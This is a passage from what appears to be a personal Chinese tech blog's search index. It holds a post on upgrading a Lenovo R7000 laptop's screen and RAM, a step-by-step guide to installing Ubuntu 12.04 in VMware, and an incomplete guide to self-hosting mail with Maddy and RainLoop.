“R7000屏线”，就能得到想要的结果。支不支持logo灯的差价比较大，店家称无灯的不支持摄像头，吓得我直接订了带灯的版本，花费130元。现在想起来应该找张没灯线的照片看一看有没有摄像头排线。值得注意的是，屏线商家也有类似的故意标注低价的行为。\n由于换屏线要进行较大幅度的拆解，我便找了宿舍附近的一个个人维修点。彼时电脑已经过保，所以可以肆无忌惮地进行改装。人工费又花了40。他拆完我意识到，我没自己拆是十分明智的选择。\n实际体验大部分方面可谓是非常优秀。绝大部分软件的毛边无影无踪，超高的最高亮度让户外使用也不显得暗，色彩也十分生动（甚至有点溢出，辣鸡Windows的色彩管理出来背锅），HDR效果在观看HDR影片时有明显效果（但日常使用不能开HDR，还是辣鸡Windows的问题）。不过2K和4K的耗电量差别并不大，可以一直开着4K使用。游戏则是选择1080p或者2K，毕竟4K显然带不动啊。\n对于更换之后感知最强的清晰度，可以参考一下下面的图片。实际没有那么黄，这个锅小米相机背。\n说到耗电，在比1080p更高的分辨率下，笔记本空载功耗均达到了20W以上，相比以前的10W左右有了非常大的升高，这造成了续航大约只有一个半小时（电池60Wh），但这不是屏幕的耗电；事实上，因为并不需要开像之前一样高的亮度，屏幕的耗电反而可能是降低的。这主要是因为系统把渲染任务交给了独显进行，我将会在下一节进行说明。\n哦对，顺便吹一波Linux的各大桌面环境，在高分屏缩放这方面可谓是按着Windows打。\n2022/01英睿达DDR4 3200 16G内存 完整型号为CT16G4SF832A。\n随着学习和游戏的深入，跑WSL2吃掉8G，极限竞速地平线5也能吃4G，再加上各大吃内存的浏览器和Electron应用（本质上是Chromium，点名批评VS Code），开几个标签页就能上G，16G内存显然已经无法满足使用需要（说到这里我就想打死灵刃14设计师，16G还焊死），迫切需要加内存。\n笔记本原装内存是海力士的8G 3200，时序22-22-22-52，由于海力士的内存普通消费者比较难拿到，我便将目光转向了三星。而众所周知，三星的假货也奇多无比，京东自营渠道没有货，我所能够信赖的所长的淘宝店（中正评测，同时也算个企业用户，能拿到货）16G 3200内存则要卖569块钱，实在是超出了我的预算范围。于是我将目光瞄准了拥有原装镁光颗粒的英睿达，虽然这也是一个假货奇多的品牌，但好在天猫官旗有货。考虑到英睿达在中国大陆的保修全都是店保，选择官方渠道会更放心，如果没有京东自营，天猫官旗无疑是最好的选择。如果你也在这家店购买，那么拆机工具请特别在购买时备注，参考他人评价和我的个人经历，如果没有备注要求拆机工具，大概率需要后期补发。\n装一条，还是装两条？我选择了8G+16G组成不对称双通道。虽然有8G无法组成双通道只有单通道的速度，但需要核显性能的时候一般用不到多余的8G，而独显性能受其牵连又不是很大。加上暂时又没有32G的需求，24G已然够用。于是花419元买到了一条内存。\n这次终于是我自己动手了。拆机换内存，无非就是卸螺丝、分离卡扣、打开屏蔽罩、把内存换下来，再照原样装回去这几步，如果你也想尝试，可以参考 所长的拆机教程。擦腚揩鸡一气呵成，屏幕轻松点亮。之后跑了个分，还有一些参数，大家可以参考一下。\n简要补充一下这条内存的其他特性：镁光E-Die，时序22-22-22-52，4 bank group，双面颗粒。内存增加，系统和WSL所占用的内存也随之水涨船高，内存也不是白吃的， 起码yarn build也不会再因为内存不足，到一半直接崩掉。\n这仅是意料之内的升级。还有意料之外的收获：升级完成后，无外接电源的情况下，电脑的极限续航再次回到了5个半小时左右，算上电池损耗，与换屏前的续航水平大致持平。进入任务管理器，发现往常连Firefox都要接管渲染的独显，功耗只有1W左右；再查看核显页面，猜想可能是增加内存后，系统分配了更多内存给核显作为显存，从而不再需要独显工作。虽然日常工作的续航仍然在3小时左右，相比最初低一些，但相比加内存之前B站都要过独显的功耗，现在已经好了很多。也不用担心Vega 7核显带不动4K屏，目前所见到Windows会分配给集显的任务中，只有B站特别多弹幕的情况下会有较严重卡顿。\n折腾从未停止，如果有可能，未来还会做更多升级，毕竟这个笔记本可能会陪我到2024年。\n","date":"February 1, 2022","matchCount":0,"permalink":"/post/r7000-2020-upgrades/","preview":"","title":"聊一聊我对拯救者 R7000 2020 做的硬件升级"},{"content":"这篇文章主要是课程取向的，所以才会使用一个已经超出生命周期的32位Ubuntu版本。在对自己的水平有些许信心后，更建议安装仍提供32位版本的Debian最新版，即Debian 11。新的系统有更好的软件支持，更安全，也更加易用。\n选择VMware Workstation主要是个人认为因为它的操作对小白较友好。本文以VMware Workstation Pro 16.2.2和Windows 11为例，最近几个VMware版本和Windows 10操作基本相同。\n折叠框中的内容，是我认为可以帮助理解的补充知识，但不看这部分不影响你按照步骤装好一个虚拟机。如果还有疑问，欢迎评论。\n什么是虚拟机？\n如果你读过《三体III：死神永生》，你大概记得其中出现了一个小型的宇宙，物质来源于最初的大宇宙，当中有智子等人，与大宇宙隔离，独立生活。有一天，探测到由于小型宇宙带走了太多的物质，导致大宇宙的物质不够，需要将小型宇宙的物质移回大宇宙才能让宇宙继续存在（记得可能不准确，欢迎指正）。\n虚拟机是同样的道理，它划走物理机的一部分硬件而创造出一个以假乱真而又几乎完全隔离小型的物理机形态，你可以在上面跟物理机一样安装操作系统，研究程序原理，打游戏，做你想做的事情。虚拟机就相当于小型宇宙，而物理机相当于大宇宙，当虚拟机占用太大的时候，物理机也是会带不动的。\n对于CPU、内存和显卡，VMware Workstation Pro的虚拟化技术是将虚拟机占用作为一个进程；对于网络，是在物理机上安装虚拟网卡，模拟虚拟机连接到物理机网络上；而对于硬盘，使用文件模拟，这使得虚拟机可以拷贝、移动，当成一些文件来对待。\n什么是Ubuntu？\nLinux（严谨点，GNU/Linux）是Linus Torvalds由Unix得到灵感，编写的开源自由的系统，它属于 “类Unix”。我们熟悉的macOS就是Unix的一个分支，Debian Foundation基于Linux开发了Debian，而Canonical基于Debian开发了Ubuntu。\nDebian、Ubuntu和其他一些系统如Arch Linux、Alpine、Kali Linux等统称为Linux的发行版，意为包装好供用户使用的Linux版本。如果你对Unix系统的历史知识有些兴趣，可以看一下下面这张图。\nUnix系统演化图。版权信息：Eraserhead1, Infinity0, Sav_vas, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n环境准备 首先要从 Canonical 网站 下载Ubuntu 12.04 LTS的镜像。在下面的列表中找到ubuntu-12.04.5-desktop-i386.iso，然后点击此链接即可下载。”创建虚拟机“之前能够下载完成就行了。\n然后从 VMware 网站找到Workstation 16 Pro for Windows并点击Download Now。\nVMware Workstation安装包下载之后，打开安装包，同意许可协议。\n安装位置可以任选，“增强型键盘驱动程序”和 “添加到PATH” 也可以任选，我印象里VMware的命令行程序用得不多，所以不需要加到PATH中。\n“启动时检查更新”和 “加入用户体验计划” 按需选择。\n创建两个快捷方式按需选择。\n最后，点击安装即可安装。\n第一次打开VMware的时候应该会提示激活。激活码请自行搜索寻找，如财力雄厚建议入正。\n创建虚拟机 VMware Workstation左上角文件 - 新建虚拟机。\n类型选择典型。\n” 安装客户机操作系统 “时，选择”稍后安装操作系统“-”Linux“-”Ubuntu“。如果你让VMware帮你安装，后续调整中文的操作可能有困难。\n”虚拟机名称”和 “路径” 可以自行决定，但个人建议本路径下保证50GB左右空闲。我们需要划出大量空间作为虚拟机的硬盘，虽然不会立即全部占满，但最好还是留有空余。\n“最大磁盘大小 “我填写了45GB，读者也可以按需填写。这个值后期可以扩大，但需要使用分区工具同步扩大系统分区，有一定的学习成本，所以建议一开始就做得大一点。是否拆分多个文件，也是按需选择。\n下一步后，点击”自定义硬件 “。” 内存 “设定最大4GB即可，因大部分人电脑都是16GB RAM，不缺这4G；” 处理器 “中” 每个处理器的内核数量 “建议设定为你的处理器线程数量，这个可以在任务管理器 - 性能 - CPU的” 逻辑处理器 “查看。” 新CD/DVD（SATA）“选择”使用ISO映像文件“，浏览你的Ubuntu ISO镜像（就是之前下载的ubuntu-12.04.5-xxxxxxx.iso）并选择它，然后勾选“启动时连接”。\n为什么是4GB？\n因为32位计算机最大寻址范围就是4GB，即 $2^{32}Bytes=4294967296Bytes=4GBytes$。更大的内存空间在正常情况下无法被32位系统利用，加了也相当于没加。\n实际上还有硬件所需的一部分寻址空间，导致可用内存低于4GB。但一般情况下，设置的上限直接当成4GB就行了。\n点击关闭 - 完成，虚拟机就创建好了。\n安装操作系统 我们现在创建的虚拟机是完全空白的，里面什么都没有，而我们需要的正是把Ubuntu 12.04 LTS装进去。\n直接点左上方的开机。因为硬盘中没有东西可以启动，而我们又连接了ISO文件作为光盘（可以直接想象成一个光盘刻有Ubuntu镜像，放入虚拟机的光驱中。什么，你不会不知道光盘是啥吧？），就可以从光盘启动，具体原理应该后面会讲。\n在第一个页面，先在左边选择中文简体，再选择” 安装Ubuntu“。\n“安装中下载更新” 可选可不选，反正软件源已经停止服务了（见下文）。“安装这个第三方软件” 建议选择。\n选择 “清除整个磁盘并安装Ubuntu”，继续。不用害怕，清除的只是虚拟机的硬盘，不会对你的其他文件造成任何影响。然后直接点击 “现在安装”。\n在安装的过程中，会有一些设置需要你完成。”你在什么地方 “对话框，你可以填入你的城市名，也可以直接选Shanghai，没有区别。” 键盘布局“直接下一步，反正不自带中文输入法，跳过。\n“您是谁” 中，填入姓名（可以随便填）、计算机名（会展示在终端中，不重要）、用户名（默认用户）和密码。密码一定要记住。 是否自动登录看你心情，但个人倾向于不加密主目录。\nLinux的用户管理机制\nLinux系统中，有一个root账户，拥有系统最高权限，类似于Windows的Administrator超级管理员账户。其他的用户没有root用户这样的权限，但在将他们加入sudoer列表之后，他们能够使用sudo命令暂时获得root用户的权限，执行一部分命令。这些用户也可以使用su命令切换到root用户。\nUbuntu默认不开放root账户登录，官方更推荐在每个需要的命令前加上sudo。\n也或许你听说过Android系统获取root权限的说法，\n参见 维基百科\n点击继续，Ubuntu会继续安装系统。当提示”安装完毕 “时，点击下方VMware的提示框中的” 我已完成安装 “，然后点击” 现在重启“。\n确认右下角光盘图标旁没有绿点，然后按下回车。如果重启后提示 “remove installation media and press enter” 等文字，右键右下角光盘图标，点击断开，然后在虚拟机中回车。\n请注意：如果你的鼠标在虚拟机窗口内，但却是Windows小手样式，说明你的输入没有被发送到虚拟机中。只有在窗口中点一下之后，你按Enter才会被Ubuntu捕捉到。可以使用Ctrl+Alt来切换输入发送到虚拟机中或是物理机中。\n之后系统就会开始自动登录。输入密码登录后大概是这个样子。\n根据 Ubuntu 的发布周期，显然这个版本是已经不受支持的。但如果你想和老师的步调尽量保持一致，同时对自己解决不同版本之间问题的能力完全没有信心，不要升级14.04。\n安装软件 到现在，系统已经装好了，但我强烈建议做一下以下的操作。\n以下要输入的内容较多，由于虚拟机和物理机默认不共享剪贴板，建议先在虚拟机内部的Firefox中打开本网页，然后复制所需的部分。\n安装VMware Tools 这个东西可以显著增强虚拟机的流畅度。在比较旧的Ubuntu中，我们需要手动安装。\n如果VMware提示安装Tools，点击安装。如果没有弹出，也可以使用顶部” 虚拟机 - 安装VMware Tools“选项来启动这个过程。\n正常情况下应该会弹出一个文件管理器窗口，没有的话也可以点击左边Dock栏的的DVD图标打开。复制里面的tar.gz文件，点击窗口左侧的 “主文件夹”，在这里粘贴。\nLinux的文件系统\nLinux与Windows不同，并不靠盘符区分硬盘分区，而是将所有东西放到一个主目录中。默认只有系统所在的分区会包含在其中，其他分区依靠一种称为 “挂载”（mounting）的机制。\n在这之前需要说明，在Linux中遵循 “万物皆文件” 的原则，其他的分区、传感器接收的数据、键盘输入，甚至随机熵等都是以文件形式表示的，这个我也不太理解，知道就行。\n所谓挂载，就是将主目录中的一个路径指定为访问另一个分区的根目录。如果你是Windows用户，可以想象一下电脑只留一个C盘，D盘本来是不会显示的，但你指定了一个目录如C:\\DiskD\\ 来指向原来的D:\\，对D盘的读写则必须通过上面的路径来达到。\n值得一提的是，现在已经有自动挂载机制了，所以其他分区和U盘之类的设备都会自动挂载到系统上，大部分时候不需要自行配置。\n一个路径以 / 开头，指的是绝对路径，从根目录开始算起；若没有 /，或是./，则是相对路径，从当前目录开始算起。\nroot用户的用户目录是 / root/，而其他用户的目录是 / usr / 用户名 /。上文的 “主文件夹” 就是 / usr / 用户名 / home/。因为虚拟光驱中的文件无法写入，所以需要使用这种方式。\n在桌面按下Ctrl+Alt+T打开终端，依次（指上一个命令执行完毕后，再输下一个）输入以下命令（井号开头的部分都是注释，无需输入；文件名可能有差异，请留意）：\nbash 复制代码 tar -zxvf VMwareTools-10.3.23-16594550.tar.gz # 解压 VMware Tools 工具 cd vmware-tools-distrib/ # 进入解压后的文件夹 sudo ./vmware-install.pl # 调用 root 权限（sudo）执行安装脚本。在 Linux 中，可执行文件的扩展名并没有严格限制 1 2 3 tar -zxvf VMwareTools-10.3.23-16594550.tar.gz # 解压 VMware Tools 工具 cd vmware-tools-distrib/ # 进入解压后的文件夹 sudo ./vmware-install.pl # 调用 root 权限（sudo）执行安装脚本。在 Linux 中，可执行文件的扩展名并没有严格限制 Shell和Terminal\n详见 https://blog.csdn.net/weixin_38214171/article/details/90050340\n然后输入你的用户密码（字符不可见），回车，就可以开始安装了。遇到任何提示都可以直接回车，保持默认选项不变。\n更换软件源并升级软件包 为了安装软件和安全更新，需要换源。\nAPT和软件源\n有一种程序叫做 “包管理器”。顾名思义，这类程序的作用就是管理软件。在Windows上有winget，在macOS上有Homebrew，而对于Debian和基于此的Ubuntu，默认的包管理器是apt。\napt在更新列表（update）、升级应用（upgrade）、安装应用（install）的时候，会访问软件源，并从其中获取相应的资源。软件源的列表存储于 / etc/apt/sources.list。\n上面已经说过，Ubuntu 12.04已经不受支持，所以官方默认软件源已经不再提供服务，但Ubuntu有old-releases软件源（参见 官方文档）。\n在新版本中，也推荐进行换源操作，以加速访问，比较著名的有 清华源、中科大 源（请勿使用Ubuntu 12.04的清华源，可能有些问题）。\n输入以下命令。\nbash 复制代码 sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak # 备份原软件源列表 sudo gedit /etc/apt/sources.list 1 2 sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak # 备份原软件源列表 sudo gedit /etc/apt/sources.list 在弹出的窗口中，将文件内容全部删除，替换为：\ntext 复制代码 deb http://old-releases.ubuntu.com/ubuntu/ precise main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ precise-security main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ precise-proposed main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ precise-backports main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise-security main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise-proposed main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise-backports main restricted universe multiverse 1 2 3 4 5 6 7 8 9 10 deb http://old-releases.ubuntu.com/ubuntu/ precise main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ precise-security main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ precise-proposed main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu/ precise-backports main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise-security main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise-proposed main restricted universe multiverse deb-src http://old-releases.ubuntu.com/ubuntu/ precise-backports main restricted universe multiverse 这是 Ubuntu 12.04的 软件源archive。完成后，使用Ctrl+S保存，然后关闭。对于不同的Ubuntu版本，请使用不同的软件源；一个比较简单的判断方法是查看版本代号，如12.04是Precise，14.04是Trusty，20.04是Focal，22.04是Jammy，如果不含你的版本对应代号，一定不能直接使用。\n虽然这是一个停止支持的Ubuntu版本，但还是建议将软件包更新到最新版本。\n为加速访问，如果已有HTTP代理服务器，可以先 参照这里 设置代理，具体请自行研究。\n在终端中依次输入\nbash 复制代码 sudo apt-get update sudo apt-get upgrade 1 2 sudo apt-get update sudo apt-get upgrade 如果第一步报错，请检查sources.list是否输入正确。如果提示 “您希望继续执行吗”，输入y并回车。如果提示” 有几个包无法下载“，则重新执行上述第一条命令。\n安装中文输入法 如你所见我们的Ubuntu是打不了中文的。而桌面等文件夹默认就是用中文命名的，现在连个桌面都cd不进去，所以当然要安装中文输入法。\n在终端执行以下命令以安装fcitx：\nbash 复制代码 sudo apt-get install \u0026#34;fcitx\u0026#34; 1 sudo apt-get install \u0026#34;fcitx\u0026#34; 然后点击顶部状态栏右边的键盘图标，选择” 汉语 - Pinyin“，就可以切换中文输入法了。可以发现，右上角的键盘已经变成了 “拼”。\n还是没搞懂？这里有成品 如果你实在是不会安装，可以使用我按照上面步骤预先安装好的虚拟机文件，在VMware Workstation Pro 16.2.2上实测可用，链接如下，用户名和密码均为cyp0633。但我仍然建议先尝试自行安装，这对你的学习也有益，也给我服务器省点流量。\nhttps://drive.cyp0633.icu/s/d4H0\n虚拟机本体使用分卷压缩，包含3个文件共2.01GB，请全部下载解压，打开其中的vmx文件即可使用，强烈建议使用SHA-256做checksum。\n附录：一些建议 / 提醒 请尽量适应终端命令行操作为主，GUI界面为辅的方式，在Linux上这样效率非常高。 如果你有任何问题，请Google/Bing。若能翻译成英语再搜索，则能搜索到Stack Overflow等网站的大佬的解答。 Linux的软件包管理机制和文件管理机制，与Windows有非常大不同，而与macOS比较相似。 虚拟机的 “快照” 功能十分有用，它类似于Git的label机制，可以在发现问题时快速回到之前保存过的状态，非常适合试病毒。 参考文献 https://blog.csdn.net/x_i_y_u_e/article/details/49047273 https://www.jianshu.com/p/33e37b78e03f ","date":"January 22, 2022","matchCount":0,"permalink":"/post/vmware-ubuntu-12.04/","preview":"","title":"用 VMware Workstation 安装 Ubuntu 12.04 LTS 简明教程"},{"content":"一直想用自己的域名搭建一个的邮箱，但传统的Dovecot+Postfix方案十分复杂，封装起来的docker-mailserver虽整洁不少，但仍然存在占用资源很高的问题。\n想起Golang效率挺高的，也已经有了不错的生态，于是找到了Maddy，一个使用Golang编写的一体化邮件服务器，占用较少，也免去了各种模块相互配合的。它充当了MTA（中转服务器）和MDA（投递服务器）的角色。\n而Rainloop则是一个PHP写成的webmail，可以作为一个类似于Gmail的网页端。\n一般的VPS都可以搭建邮件服务器，不过某些服务商会屏蔽必要的25端口，可能需要发工单解决，不过上网搜一下一般就能知道。\n本文以Nginx 1.20.2、PHP 8.1.1、Ubuntu 18.04 LTS为例\n邮件服务器：Maddy GitHub\nfoxcpp/maddy\n下载与安装 Maddy 的文档 说得其实挺明白的，但如果你不想看英语，也可以跟我走。这里使用预编译的二进制文件来搭建。\n首先要从 GitHub Releases 下载最新的二进制文件到服务器中，文件名为maddy-x.x.x-x86_64-linux-musl.tar.zst。\n解压zst文件需要zstd依赖（Debian系可直接用apt安装），安装后使用\nbash 复制代码 tar --use-compress-program=unzstd -xvf archive.tar.zst 1 tar --use-compress-program=unzstd -xvf archive.tar.zst 来指定zstd程序解压这个文件。然后将文件夹内的maddy和maddycli复制到 / usr/local/bin目录下。\n除此之外，Maddy无法以root用户运行，所以你还需要新建一个用户：\nbash 复制代码 sudo useradd -mrU -s /sbin/nologin -d /var/lib/maddy -c \u0026#34;maddy mail server\u0026#34; maddy 1 sudo useradd -mrU -s /sbin/nologin -d /var/lib/maddy -c \u0026#34;maddy mail server\u0026#34; maddy 预编译二进制文件的压缩包内还带有systemd服务，可以直接拷贝到系统文件夹内使用：\nbash 复制代码 sudo cp ./systemd/*.service /etc/systemd/system sudo systemctl reload 1 2 sudo cp ./systemd/*.service /etc/systemd/system sudo systemctl reload 将压缩包内附带的 maddy.conf 复制到etc目录下，然后用你喜欢的文本编辑器打开。暂时只需要编辑Base variables部分，记得要将上面的内容都换成你对应的。\nbash 复制代码 $(hostname) = mx1.example.org # 外界通过这个域名找到你的邮件服务器。 $(primary_domain) = example.org # 你的邮箱 @后面的域名，比如 test@example.org，而不一定是 test@mx1.example.org $(local_domains) = $(primary_domain) # @后面可以添加的其他域名，比如 test@one.example.org。你需要在几个域名中选一个主要的，将其填入 primary domain。 tls file /etc/maddy/certs/$(hostname)/fullchain.pem /etc/maddy/certs/$(hostname)/privkey.pem # TLS 证书文件。 1 2 3 4 5 $(hostname) = mx1.example.org # 外界通过这个域名找到你的邮件服务器。 $(primary_domain) = example.org # 你的邮箱 @后面的域名，比如 test@example.org，而不一定是 test@mx1.example.org $(local_domains) = $(primary_domain) # @后面可以添加的其他域名，比如 test@one.example.org。你需要在几个域名中选一个主要的，将其填入 primary domain。 tls file /etc/maddy/certs/$(hostname)/fullchain.pem /etc/maddy/certs/$(hostname)/privkey.pem # TLS 证书文件。 对于证书文件，如果你使用Certbot获取hostname的TLS证书，你可以直接进行一个软连接，使得Maddy可以识别，而且要确保其有权限读取：\nbash 复制代码 ln -s /etc/letsencrypt/live /etc/maddy/certs sudo setfacl -R -m u:maddy:rX /etc/letsencrypt/{live,archive} 1 2 ln -s /etc/letsencrypt/live /etc/maddy/certs sudo setfacl -R -m u:maddy:rX /etc/letsencrypt/{live,archive} 如果由其他方法获取证书，可以将文件拷贝至 / etc/maddy/certs并用相似的命令赋予maddy用户读取权限。\n现在我们可以将其启动了：\nbash 复制代码 systemctl start maddy 1 systemctl start maddy 配置DNS 首先是各个domain的A/AAAA record，即上面提到example.org和one.example.org的指向。这个没必要指向你的邮件服务器IP，也就是说你可以拿这些域名指向其他服务器建个站什么的，但如果没有另外的用处，不设置应该也没什么问题。\n然后仍然是上面几个domain，这次是MX record。它由domain指向hostname。举个例子，将example.org的MX记录指向mx1.example.org，意思是任何发送到 @example.org的邮件服务都由mx1.example.org来处理。如果你有多个domain，那么需要逐个设置。\n之后设置hostname即邮件服务器的A/AAAA记录。它需要将类似于mx1.example.org的地址解析为IP地址。\n要设置MTA-STS（后面会讲），需要将mta-sts.example.org和mta-sts.one.example.org（即各个domain）的A/AAAA记录指向邮件服务器IP。\n还有一系列的TXT类型的解析如下。\nSPF 为domain和hostname（非必要）都添加txt解析，内容如下。用于表明MX解析的域名是可以发邮件的。\ntext 复制代码 v=spf1 mx ~all 1 v=spf1 mx ~all DMARC 用于处理损坏的邮件。需要为所有 _dmarc.yourdomain（如 _dmarc.example.org和 _dmarc.one.example.org）添加。\ntext 复制代码 v=DMARC1; p=quarantine; ruf=mailto:postmaster@example.org 1 v=DMARC1; p=quarantine; ruf=mailto:postmaster@example.org MTA-STS标记 加上之后，失败的报告会被送到指定的邮箱（默认postmaster）。为 _mta-sts.example.org添加（其他domain不要漏下）\ntext 复制代码 v=STSv1; id=1 1 v=STSv1; id=1 然后为 _smtp._tls.example.org添加\ntext 复制代码 v=TLSRPTv1;rua=mailto:postmaster@example.org 1 v=TLSRPTv1;rua=mailto:postmaster@example.org DKIM Key 在 / var/lib/maddy/dkim_keys/example.org_default.dns（文件名因人而异）找到该项TXT记录值，并将其给予default._domainkey.example.org的TXT解析。\nMTA-STS保护 其实包括MTA-STS和DKIM等措施，对于发送邮件来说并不是必要的，但如果没有这几个措施，那么一些大电子邮件服务商（比如Gmail）会认为从你的服务器发出的是垃圾邮件。\nMTA-STS（RFC 8461）是一个预防中间人攻击的防护措施。它的标记已经在上一步做好。然后，我们需要使用一个网页服务器来返回一串文本。\n官方文档推荐的方式是serve一个文本文档，内容如下：\nplain 复制代码 version: STSv1 mode: enforce max_age: 604800 mx: mx1.example.org 1 2 3 4 version: STSv1 mode: enforce max_age: 604800 mx: mx1.example.org 当访问 https://mta-sts.example.org/.well-known/mta-sts.txt 的时候，就返回它。\n对于Nginx，也可以使用以下方式直接返回这串文字，在Nginx配置文件的HTTP块内加入一个server：\nnginx 复制代码 server { server_name mta-sts.example.org; listen 443 ssl http2; listen [::]:443 ssl http2; ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3; ssl_certificate /path/to/fullchain.pem; # 路径因人而异，下同 ssl_certificate_key /path/to/privkey.pem; location = /.well-known/mta-sts.txt { default_type text/plain; return 200 \u0026#34;version: STSv1\\r\\nmode: enforce\\r\\nmx: mx1.example.org\\r\\nmax_age: 604800\\r\\n\u0026#34;; } } 1 2 3 4 5 6 7 8 9 10 11 12 server { server_name mta-sts.example.org; listen 443 ssl http2; listen [::]:443 ssl http2; ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3; ssl_certificate /path/to/fullchain.pem; # 路径因人而异，下同 ssl_certificate_key /path/to/privkey.pem; location = /.well-known/mta-sts.txt { default_type text/plain; return 200 \u0026#34;version: STSv1\\r\\nmode: enforce\\r\\nmx: mx1.example.org\\r\\nmax_age: 604800\\r\\n\u0026#34;; } } 当然，这之前需要确保你将mta-sts.example.org指向正确的IP，并申请其对应的TLS证书。\n如果你使用Nginx、Caddy或Litespeed等网页服务器，请自行研究。\n要验证是否添加成功，可以直接访问https://example.org/.well-known/mta-sts.txt，查看返回的内容。\nTLSA/DANE记录这里不再指引，因为我使用的阿里云DNS是不能添加DLSA记录的，有兴趣的可以自行看官方文档。\n添加账户 Maddy的账户体系是 “虚拟用户”，也就是说验证账户和IMAP邮箱是分离开来的。\n首先，要创建用户验证，使用命令：\nbash 复制代码 maddyctl creds create example@example.org 1 maddyctl creds create example@example.org 输入账户密码，然后再创建它的邮箱：\nbash 复制代码 maddyctl imap-acct create example@example.org 1 maddyctl imap-acct create example@example.org 这样，一个传统意义上的邮件账户就创建完成了。\n如果需要更多帮助，可以使用\nbash 复制代码 maddyctl creds --help maddyctl imap-acct --help 1 2 maddyctl creds --help maddyctl imap-acct --help 命令来获取。\n到现在，你可以使用任何一个现代的邮件客户端，连接你刚刚创建的邮件服务器。IMAP协议即可，发送和接收可以全都选SSL。为安全起见，建议以后的邮件客户端全部启用SSL。\n发一封邮件，如果你上述的安全措施做得比较好，发送给Gmail等对安全比较严格的邮箱，应该能够作为重要邮件，起码不会被作为垃圾邮件。使用IMAP+SMTP+SSL，收件端口号为993，发件端口号为465。\nWebmail：RainLoop RainLoop/rainloop-webmail\n大部分看这篇文章的人都应该是搭着玩的个人用户吧。如果不是，那么请首先参阅RainLoop的 不同版本比较页面，他们针对不同用户有不同的版本和Licence。这里直接选对无盈利的个人免费的Standard Edition，因其带有比较简便的更新功能。\n下载与安装 从这里 可以下载两种版本到服务器上。下载下来是ZIP格式，所以我们需要安装unzip解压（apt包管理器内有，不带apt的发行版请自行想办法）。\n然后输入以下命令，将RainLoop的文件拷贝至 / var/www/rainloop，并设置权限。你也可以使用其他自己喜欢的路径，别忘了修改后面的配置文件对应部分。\nbash 复制代码 unzip rainloop-latest.zip -d /var/www/rainloop cd /var/www/rainloop find . -type d -exec chmod 755 {} \\; find . -type f -exec chmod 644 {} \\; 1 2 3 4 unzip rainloop-latest.zip -d /var/www/rainloop cd /var/www/rainloop find . -type d -exec chmod 755 {} \\; find . -type f -exec chmod 644 {} \\; 然后编辑Nginx配置文件，加入server块：\nnginx 复制代码 server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name webmail.example.org; ssl_certificate /path/to/fullchain.pem; ssl_certificate_key /path/to/privkey.pem; index index.html index.php; root /var/www/rainloop; client_max_body_size 2G; error_log /var/log/nginx/rainloop.error.log; access_log /var/log/nginx/rainloop.access.log; location / { try_files $uri $uri/ /index.php?$query_string; } location ^~/data { deny all; } location ~ \\.php$ { fastcgi_pass php-handler-https; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name webmail.example.org; ssl_certificate /path/to/fullchain.pem; ssl_certificate_key /path/to/privkey.pem; index index.html index.php; root /var/www/rainloop; client_max_body_size 2G; error_log /var/log/nginx/rainloop.error.log; access_log /var/log/nginx/rainloop.access.log; location / { try_files $uri $uri/ /index.php?$query_string; } location ^~/data { deny all; } location ~ \\.php$ { fastcgi_pass php-handler-https; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 其中你必须更改的是 server_name、ssl_certificate 和 ssl_certificate_key。你可以把页面直接放到邮件服务器上，也可以换个服务器或者域名，但如果你想直接用上文提到的mx1.example.org即hostname，那么可以做正向代理，但更推荐的做法是把RainLoop直接部署到邮件服务器上。其他root等项视情况更改。根据官方文档，data目录不能允许被外网访问从而直接获取配置文件，所以直接deny all。\n然后使用 nginx -t 测试配置文件，如果没有问题，就 systemctl restart nginx 重启nginx，然后访问webmail.example.org（例）试试吧。\n若仍提示no data folder write permission权限问题，大不了给对应目录文件直接777权限（问题不大、\n初始配置 访问webmail.example.org/?admin来进行初始配置。默认管理员用户名为admin，密码为12345。\n首先建议在 “安全” 选项卡中修改默认管理员密码。在 “域名“选项卡中，你可以添加你刚刚架设好的邮件domain，也可以添加其他商用邮箱域名。添加之后点击测试，可以测试一下邮件服务器在此设定下能否连通。正常来说，你不需要勾选” 使用短域名登录“。\n此外，” 白名单 “功能能够限制某域中能登陆到Webmail的账户列表，如设置example.com的白名单为test@example.com，那么除上述邮箱外，后缀为 @example.com的邮箱全部不能登录。\n这两项基础设置做完之后，你就可以重新打开webmail.example.org，输入你的邮箱和密码，登录Webmail。如果无法登录，请检查你刚刚的初始配置。如果能够成功进入邮箱，那就……enjoy it!\n参考文献 https://www.naut.ca/blog/2020/04/07/mta-sts-in-5-minutes/ https://lala.im/6902.html ","date":"January 21, 2022","matchCount":0,"permalink":"/post/self-hosting-mail-maddy-rainloop/","preview":"","title":"使用 Maddy+RainLoop 